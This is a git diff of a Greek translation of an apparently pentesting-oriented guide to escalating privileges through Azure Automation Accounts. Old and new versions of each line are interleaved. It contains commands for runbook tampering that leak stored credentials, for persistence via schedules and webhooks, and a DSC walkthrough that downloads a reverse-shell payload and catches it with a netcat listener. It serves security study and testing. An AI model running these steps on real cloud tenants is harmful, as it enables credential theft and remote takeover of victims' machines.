Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

This commit is contained in:
Translator
2026-01-21 21:11:44 +00:00
parent 942670d373
commit c75ea2b7d8
@@ -4,7 +4,7 @@
## Azure Automation Accounts
Για περισσότερες πληροφορίες, ελέγξτε:
Fore more information check:
{{#ref}}
../az-services/az-automation-accounts.md
@@ -12,29 +12,29 @@
### Hybrid Workers Group
- **Από τον Λογαριασμό Αυτοματοποίησης στη VM**
- **From the Automation Account to the VM**
Θυμηθείτε ότι αν με κάποιο τρόπο ένας επιτιθέμενος μπορεί να εκτελέσει ένα αυθαίρετο runbook (αυθαίρετος κώδικας) σε έναν υβριδικό εργαζόμενο, θα **μεταβεί στην τοποθεσία της VM**. Αυτό θα μπορούσε να είναι μια τοπική μηχανή, μια VPC από διαφορετικό cloud ή ακόμη και μια Azure VM.
Θυμηθείτε ότι αν με κάποιο τρόπο ένας attacker μπορεί να εκτελέσει ένα arbitrary runbook (arbitrary code) σε έναν hybrid worker, θα **pivot to the location of the VM**. Αυτό μπορεί να είναι ένας on-premise υπολογιστής, ένα VPC ενός διαφορετικού cloud ή ακόμη και ένα Azure VM.
Επιπλέον, αν ο υβριδικός εργαζόμενος εκτελείται στην Azure με άλλες Συνδεδεμένες Ταυτότητες, το runbook θα μπορεί να έχει πρόσβαση στην **διαχειριζόμενη ταυτότητα του runbook και σε όλες τις διαχειριζόμενες ταυτότητες της VM από την υπηρεσία μεταδεδομένων**.
Επιπλέον, αν ο hybrid worker τρέχει στο Azure με άλλες Managed Identities συνδεδεμένες, το runbook θα μπορεί να προσπελάσει την **managed identity of the runbook and all the managed identities of the VM from the metadata service**.
> [!TIP]
> Θυμηθείτε ότι η **υπηρεσία μεταδεδομένων** έχει διαφορετικό URL (**`http://169.254.169.254`**) από την υπηρεσία από όπου λαμβάνετε το διακριτικό των διαχειριζόμενων ταυτοτήτων του λογαριασμού αυτοματοποίησης (**`IDENTITY_ENDPOINT`**).
> Να θυμάστε ότι η **metadata service** έχει διαφορετικό URL (**`http://169.254.169.254`**) από την υπηρεσία από όπου λαμβάνεται το managed identities token του automation account (**`IDENTITY_ENDPOINT`**).
- **Από τη VM στον Λογαριασμό Αυτοματοποίησης**
- **From the VM to the Automation Account**
Επιπλέον, αν κάποιος παραβιάσει μια VM όπου εκτελείται ένα σενάριο λογαριασμού αυτοματοποίησης, θα μπορεί να εντοπίσει τα μεταδεδομένα του **Λογαριασμού Αυτοματοποίησης** και να έχει πρόσβαση σε αυτά από τη VM για να αποκτήσει διακριτικά για τις **Διαχειριζόμενες Ταυτότητες** που είναι συνδεδεμένες με τον Λογαριασμό Αυτοματοποίησης.
Επιπλέον, αν κάποιος compromize ένα VM όπου τρέχει ένα script του automation account, θα μπορέσει να εντοπίσει τα metadata του **Automation Account** και να τα προσπελάσει από το VM για να αποκτήσει tokens για τις **Managed Identities** που είναι συνδεδεμένες στο Automation Account.
Όπως είναι δυνατόν να δείτε στην παρακάτω εικόνα, έχοντας πρόσβαση Διαχειριστή στη VM είναι δυνατόν να βρείτε στις **μεταβλητές περιβάλλοντος της διαδικασίας** το URL και το μυστικό για να έχετε πρόσβαση στην υπηρεσία μεταδεδομένων του λογαριασμού αυτοματοποίησης:
Όπως φαίνεται στην ακόλουθη εικόνα, έχοντας Administrator πρόσβαση στο VM είναι δυνατόν να βρεθούν στις **environment variables of the process** το URL και το secret για πρόσβαση στην automation account metadata service:
![](</images/vm_to_aa.jpg>)
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
Συνοπτικά, αυτές οι άδειες επιτρέπουν να **δημιουργήσετε, να τροποποιήσετε και να εκτελέσετε Runbooks** στον Λογαριασμό Αυτοματοποίησης, τον οποίο θα μπορούσατε να χρησιμοποιήσετε για να **εκτελέσετε κώδικα** στο πλαίσιο του Λογαριασμού Αυτοματοποίησης και να κλιμακώσετε τα δικαιώματα στις ανατεθειμένες **Διαχειριζόμενες Ταυτότητες** και να διαρρεύσετε **διαπιστευτήρια** και **κρυπτογραφημένες μεταβλητές** που είναι αποθηκευμένες στον Λογαριασμό Αυτοματοποίησης.
Συνοπτικά, αυτές οι άδειες επιτρέπουν να **create, modify and run Runbooks** στο Automation Account, το οποίο μπορείτε να χρησιμοποιήσετε για να **execute code** στο context του Automation Account και να escalate privileges προς τις ανατιθέμενες **Managed Identities** και να leak **credentials** και **encrypted variables** αποθηκευμένες στο Automation Account.
Η άδεια **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** επιτρέπει την τροποποίηση του κώδικα ενός Runbook στον Λογαριασμό Αυτοματοποίησης χρησιμοποιώντας:
Η άδεια **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** επιτρέπει να τροποποιηθεί ο κώδικας ενός Runbook στο Automation Account χρησιμοποιώντας:
```bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
@@ -47,16 +47,16 @@ $runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password'
```
Σημειώστε πώς το προηγούμενο σενάριο μπορεί να χρησιμοποιηθεί για να **διαρρεύσει το username και τον κωδικό** μιας διαπίστευσης και την τιμή μιας **κρυπτογραφημένης μεταβλητής** που αποθηκεύεται στον Λογαριασμό Αυτοματοποίησης.
Παρατήρησε πώς το προηγούμενο script μπορεί να χρησιμοποιηθεί για να **leak the useranmd and password** ενός credential και την τιμή μιας **κρυπτογραφημένης μεταβλητής** που αποθηκεύεται στο Automation Account.
Η άδεια **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** επιτρέπει στον χρήστη να δημοσιεύσει ένα Runbook στον Λογαριασμό Αυτοματοποίησης ώστε οι αλλαγές να εφαρμοστούν:
Η άδεια **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** επιτρέπει στον χρήστη να δημοσιεύσει ένα Runbook στο Automation Account ώστε οι αλλαγές να εφαρμοστούν:
```bash
az automation runbook publish \
--resource-group <res-group> \
--automation-account-name <account-name> \
--name <runbook-name>
```
Η άδεια **`Microsoft.Automation/automationAccounts/jobs/write`** επιτρέπει στον χρήστη να εκτελεί ένα Runbook στον Λογαριασμό Αυτοματοποίησης χρησιμοποιώντας:
Η άδεια **`Microsoft.Automation/automationAccounts/jobs/write`** επιτρέπει στον χρήστη να εκτελέσει ένα Runbook στο Automation Account χρησιμοποιώντας:
```bash
az automation runbook start \
--automation-account-name <account-name> \
@@ -64,18 +64,18 @@ az automation runbook start \
--name <runbook-name> \
[--run-on <name-hybrid-group>]
```
Η άδεια **`Microsoft.Automation/automationAccounts/jobs/output/read`** επιτρέπει στον χρήστη να διαβάσει την έξοδο μιας εργασίας στον Λογαριασμό Αυτοματοποίησης χρησιμοποιώντας:
Η άδεια **`Microsoft.Automation/automationAccounts/jobs/output/read`** επιτρέπει στον χρήστη να διαβάσει την έξοδο μιας εργασίας στο Automation Account χρησιμοποιώντας:
```bash
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
```
Αν δεν υπάρχουν δημιουργημένα Runbooks, ή αν θέλετε να δημιουργήσετε ένα νέο, θα χρειαστείτε τις **άδειες `Microsoft.Resources/subscriptions/resourcegroups/read` και `Microsoft.Automation/automationAccounts/runbooks/write`** για να το κάνετε χρησιμοποιώντας:
Αν δεν υπάρχουν δημιουργημένα Runbooks, ή θέλετε να δημιουργήσετε ένα νέο, θα χρειαστείτε τα **permissions `Microsoft.Resources/subscriptions/resourcegroups/read` και `Microsoft.Automation/automationAccounts/runbooks/write`** για να το κάνετε χρησιμοποιώντας:
```bash
az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell
```
### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
Αυτή η άδεια επιτρέπει στον χρήστη να **αναθέσει μια ταυτότητα διαχειριζόμενου χρήστη** στον Λογαριασμό Αυτοματοποίησης χρησιμοποιώντας:
Αυτό το δικαίωμα επιτρέπει στον χρήστη να **assign a user managed identity** στο Automation Account χρησιμοποιώντας:
```bash
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
@@ -91,9 +91,9 @@ az rest --method PATCH \
```
### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write`
Με την άδεια **`Microsoft.Automation/automationAccounts/schedules/write`** είναι δυνατή η δημιουργία ενός νέου Χρονοδιαγράμματος στον Λογαριασμό Αυτοματοποίησης που εκτελείται κάθε 15 λεπτά (όχι πολύ κρυφά) χρησιμοποιώντας την παρακάτω εντολή.
Με την άδεια **`Microsoft.Automation/automationAccounts/schedules/write`** είναι δυνατή η δημιουργία ενός νέου Schedule στο Automation Account που εκτελείται κάθε 15 λεπτά (όχι πολύ stealth) χρησιμοποιώντας την ακόλουθη εντολή.
Σημειώστε ότι το **ελάχιστο διάστημα για ένα χρονοδιάγραμμα είναι 15 λεπτά**, και η **ελάχιστη ώρα έναρξης είναι 5 λεπτά** στο μέλλον.
Σημειώστε ότι το **ελάχιστο διάστημα για ένα schedule είναι 15 λεπτά**, και ο **ελάχιστος χρόνος έναρξης είναι 5 λεπτά** στο μέλλον.
```bash
## For linux
az automation schedule create \
@@ -115,7 +115,7 @@ az automation schedule create \
--frequency Minute \
--interval 15
```
Στη συνέχεια, με την άδεια **`Microsoft.Automation/automationAccounts/jobSchedules/write`** είναι δυνατή η εκχώρηση ενός Scheduler σε ένα runbook χρησιμοποιώντας:
Τότε, με την άδεια **`Microsoft.Automation/automationAccounts/jobSchedules/write`**, είναι δυνατό να αναθέσετε έναν Scheduler σε ένα runbook χρησιμοποιώντας:
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
@@ -134,22 +134,40 @@ az rest --method PUT \
}'
```
> [!TIP]
> Στο προηγούμενο παράδειγμα, το jobchedule id αφέθηκε ως **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` ως παράδειγμα** αλλά θα χρειαστεί να χρησιμοποιήσετε μια αυθαίρετη τιμή για να δημιουργήσετε αυτή την ανάθεση.
> Στο προηγούμενο παράδειγμα, το job schedule id είχε μείνει ως **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` ως παράδειγμα**, αλλά θα χρειαστεί να χρησιμοποιήσετε μια αυθαίρετη τιμή για να δημιουργήσετε αυτή την ανάθεση.
### `Microsoft.Automation/automationAccounts/webhooks/write`
Με την άδεια **`Microsoft.Automation/automationAccounts/webhooks/write`** είναι δυνατόν να δημιουργήσετε ένα νέο Webhook για ένα Runbook μέσα σε έναν Automation Account χρησιμοποιώντας την παρακάτω εντολή.
Με την άδεια **`Microsoft.Automation/automationAccounts/webhooks/write`** είναι δυνατό να δημιουργήσετε ένα νέο Webhook για ένα Runbook μέσα σε ένα Automation Account χρησιμοποιώντας μία από τις ακόλουθες εντολές.
Με το Azure Powershell:
```bash
New-AzAutomationWebHook -Name <webhook-name> -ResourceGroupName <res-group> -AutomationAccountName <automation-account-name> -RunbookName <runbook-name> -IsEnabled $true
```
Αυτή η εντολή θα πρέπει να επιστρέψει ένα URI webhook που εμφανίζεται μόνο κατά τη δημιουργία. Στη συνέχεια, για να καλέσετε το runbook χρησιμοποιώντας το URI webhook
Με AzureCLI και REST:
```bash
az rest --method put \
--uri "https://management.azure.com/subscriptions/<subscriptionID>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/webhooks/<webhook-name>?api-version=2015-10-31" \
--body '{
"name": "<webhook-name>",
"properties": {
"isEnabled": true,
"expiryTime": "2027-12-31T23:59:59+00:00",
"runOn": "<worker name>",
"runbook": {
"name": "<runbook-name>"
}
}
}'
```
Αυτές οι εντολές θα πρέπει να επιστρέψουν ένα webhook URI το οποίο εμφανίζεται μόνο κατά τη δημιουργία. Στη συνέχεια, για να καλέσετε το runbook χρησιμοποιώντας το webhook URI.
```bash
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
-H "Content-Length: 0"
```
### `Microsoft.Automation/automationAccounts/runbooks/draft/write`
Μόνο με την άδεια `Microsoft.Automation/automationAccounts/runbooks/draft/write` είναι δυνατή η **ενημέρωση του κώδικα ενός Runbook** χωρίς να το δημοσιεύσετε και να το εκτελέσετε χρησιμοποιώντας τις παρακάτω εντολές.
Μόνο με την άδεια `Microsoft.Automation/automationAccounts/runbooks/draft/write` είναι δυνατό να **ενημερώσετε τον κώδικα ενός Runbook** χωρίς να τον δημοσιεύσετε και να τον εκτελέσετε χρησιμοποιώντας τις ακόλουθες εντολές.
```bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
@@ -175,7 +193,7 @@ az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-
```
### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`)
Αυτή η άδεια επιτρέπει στον χρήστη να **ρυθμίσει έναν έλεγχο πηγής** για τον Λογαριασμό Αυτοματοποίησης χρησιμοποιώντας εντολές όπως οι παρακάτω (αυτό χρησιμοποιεί το Github ως παράδειγμα):
Αυτό το δικαίωμα επιτρέπει στο χρήστη να **ρυθμίσει ένα source control** για το Automation Account χρησιμοποιώντας εντολές όπως οι παρακάτω (το παράδειγμα χρησιμοποιεί το Github):
```bash
az automation source-control create \
--resource-group <res-group> \
@@ -190,16 +208,16 @@ az automation source-control create \
--token-type PersonalAccessToken \
--access-token github_pat_11AEDCVZ<rest-of-the-token>
```
Αυτό θα εισάγει αυτόματα τα runbooks από το αποθετήριο Github στον Λογαριασμό Αυτοματοποίησης και με κάποιες άλλες άδειες για να αρχίσουν να εκτελούνται, θα ήταν **δυνατό να γίνει κλιμάκωση δικαιωμάτων**.
Αυτό θα εισάγει αυτόματα τα runbooks από το Github repository στο Automation Account και με κάποιες επιπλέον άδειες για να τα εκτελέσει, θα ήταν δυνατό να πραγματοποιηθεί ανύψωση προνομίων.
Επιπλέον, θυμηθείτε ότι για να λειτουργήσει ο έλεγχος πηγής στους Λογαριασμούς Αυτοματοποίησης, πρέπει να έχει μια διαχειριζόμενη ταυτότητα με τον ρόλο **`Contributor`** και αν είναι διαχειριζόμενη ταυτότητα χρήστη, το client id της MI πρέπει να καθοριστεί στη μεταβλητή **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
Επιπλέον, να θυμάστε ότι για να λειτουργεί το source control στις Automation Accounts πρέπει να διαθέτει managed identity με τον ρόλο **`Contributor`**, και αν είναι user managed identity, το client id της MI πρέπει να καθοριστεί στη μεταβλητή **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
> [!TIP]
> Σημειώστε ότι δεν είναι δυνατή η αλλαγή του URL του αποθετηρίου ενός ελέγχου πηγής μόλις δημιουργηθεί.
> Σημειώστε ότι δεν είναι δυνατό να αλλάξετε το repo URL ενός source control αφού αυτό δημιουργηθεί.
### `Microsoft.Automation/automationAccounts/variables/write`
Με την άδεια **`Microsoft.Automation/automationAccounts/variables/write`** είναι δυνατόν να γράψετε μεταβλητές στον Λογαριασμό Αυτοματοποίησης χρησιμοποιώντας την παρακάτω εντολή.
Με την άδεια **`Microsoft.Automation/automationAccounts/variables/write`** είναι δυνατό να γράψετε μεταβλητές στο Automation Account χρησιμοποιώντας την ακόλουθη εντολή.
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2019-06-01" \
@@ -213,53 +231,53 @@ az rest --method PUT \
}
}'
```
### Custom Runtime Environments
### Προσαρμοσμένα Περιβάλλοντα Runtime
Εάν ένας λογαριασμός αυτοματισμού χρησιμοποιεί ένα προσαρμοσμένο περιβάλλον εκτέλεσης, θα μπορούσε να είναι δυνατό να αντικατασταθεί ένα προσαρμοσμένο πακέτο του περιβάλλοντος εκτέλεσης με κάποιο κακόβουλο κώδικα (όπως **ένα backdoor**). Με αυτόν τον τρόπο, κάθε φορά που εκτελείται ένα runbook που χρησιμοποιεί αυτό το προσαρμοσμένο περιβάλλον εκτέλεσης και φορτώνει το προσαρμοσμένο πακέτο, ο κακόβουλος κώδικας θα εκτελείται.
Εάν ένας automation account χρησιμοποιεί ένα προσαρμοσμένο runtime περιβάλλον, μπορεί να είναι δυνατό να αντικατασταθεί ένα προσαρμοσμένο πακέτο του runtime με κακόβουλο κώδικα (όπως **a backdoor**). Έτσι, κάθε φορά που ένα runbook που χρησιμοποιεί αυτό το custom runtime εκτελείται και φορτώνει το προσαρμοσμένο πακέτο, ο κακόβουλος κώδικας θα εκτελεστεί.
### Compromising State Configuration
### Παραβίαση State Configuration
**Check the complete post in:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
**Δες την πλήρη ανάρτηση στο:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
- Step 1 — Create Files
- Βήμα 1 — Δημιουργία αρχείων
**Files Required:** Δύο σενάρια PowerShell είναι απαραίτητα:
1. `reverse_shell_config.ps1`: Ένα αρχείο Desired State Configuration (DSC) που ανακτά και εκτελεί το payload. Είναι διαθέσιμο από [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
2. `push_reverse_shell_config.ps1`: Ένα σενάριο για τη δημοσίευση της διαμόρφωσης στη VM, διαθέσιμο στο [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
**Απαιτούμενα αρχεία:** Απαιτούνται δύο PowerShell scripts:
1. `reverse_shell_config.ps1`: ένα Desired State Configuration (DSC) αρχείο που ανακτά και εκτελεί το payload. Είναι διαθέσιμο από [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
2. `push_reverse_shell_config.ps1`: ένα script για να δημοσιεύσει τη διαμόρφωση στο VM, διαθέσιμο στο [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
**Customization:** Οι μεταβλητές και οι παράμετροι σε αυτά τα αρχεία πρέπει να προσαρμοστούν στο συγκεκριμένο περιβάλλον του χρήστη, συμπεριλαμβανομένων των ονομάτων πόρων, των διαδρομών αρχείων και των αναγνωριστικών διακομιστή/payload.
**Προσαρμογή:** Οι μεταβλητές και οι παράμετροι σε αυτά τα αρχεία πρέπει να προσαρμοστούν στο συγκεκριμένο περιβάλλον του χρήστη, συμπεριλαμβανομένων των ονομάτων πόρων, διαδρομών αρχείων και αναγνωριστικών server/payload.
- Step 2 — Zip Configuration File
- Βήμα 2 — Συμπίεση αρχείου διαμόρφωσης
Το `reverse_shell_config.ps1` συμπιέζεται σε ένα αρχείο `.zip`, καθιστώντας το έτοιμο για μεταφορά στον Azure Storage Account.
Το `reverse_shell_config.ps1` συμπιέζεται σε αρχείο `.zip`, κάνοντάς το έτοιμο για μεταφορά στο Azure Storage Account.
```bash
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
```
- Βήμα 3 — Ρύθμιση Στοιχείου Αποθήκευσης & Μεταφόρτωση
- Βήμα 3 — Ορισμός Storage Context & Ανέβασμα
Το συμπιεσμένο αρχείο ρύθμισης μεταφορτώνεται σε ένα προκαθορισμένο δοχείο Αποθήκευσης Azure, azure-pentest, χρησιμοποιώντας την εντολή Set-AzStorageBlobContent του Azure.
Το συμπιεσμένο αρχείο διαμόρφωσης ανεβαίνει σε έναν προκαθορισμένο Azure Storage container, azure-pentest, χρησιμοποιώντας το cmdlet Set-AzStorageBlobContent της Azure.
```bash
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
```
- Βήμα 4 — Προετοιμασία του Kali Box
- Βήμα 4 — Προετοιμασία Kali Box
Ο διακομιστής Kali κατεβάζει το RevPS.ps1 payload από ένα αποθετήριο GitHub.
Ο διακομιστής Kali κατεβάζει το payload RevPS.ps1 από ένα αποθετήριο στο GitHub.
```bash
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
```
Το σενάριο επεξεργάζεται για να καθορίσει το στοχευμένο Windows VM και την πόρτα για το reverse shell.
Το script επεξεργάζεται για να καθορίσει τον target Windows VM και τη θύρα για το reverse shell.
- Βήμα 5 — Δημοσίευση Αρχείου Ρυθμίσεων
- Βήμα 5 — Δημοσίευση Αρχείου Διαμόρφωσης
Το αρχείο ρυθμίσεων εκτελείται, με αποτέλεσμα το σενάριο reverse-shell να αναπτυχθεί στην καθορισμένη τοποθεσία στο Windows VM.
Το αρχείο διαμόρφωσης εκτελείται, με αποτέλεσμα το reverse-shell script να αναπτυχθεί στην καθορισμένη τοποθεσία στο Windows VM.
- Βήμα 6 — Φιλοξενία Payload και Ρύθμιση Listener
- Βήμα 6 — Φιλοξενία payload και Ρύθμιση listener
Ένας Python SimpleHTTPServer ξεκινά για να φιλοξενήσει το payload, μαζί με έναν Netcat listener για να καταγράψει τις εισερχόμενες συνδέσεις.
Ξεκινά ένας Python SimpleHTTPServer για να φιλοξενήσει το payload, μαζί με έναν Netcat listener για να καταγράψει τις εισερχόμενες συνδέσεις.
```bash
sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443
```
Η προγραμματισμένη εργασία εκτελεί το payload, επιτυγχάνοντας δικαιώματα επιπέδου SYSTEM.
Η προγραμματισμένη εργασία εκτελεί το payload, αποκτώντας προνόμια σε επίπεδο SYSTEM.
{{#include ../../../banners/hacktricks-training.md}}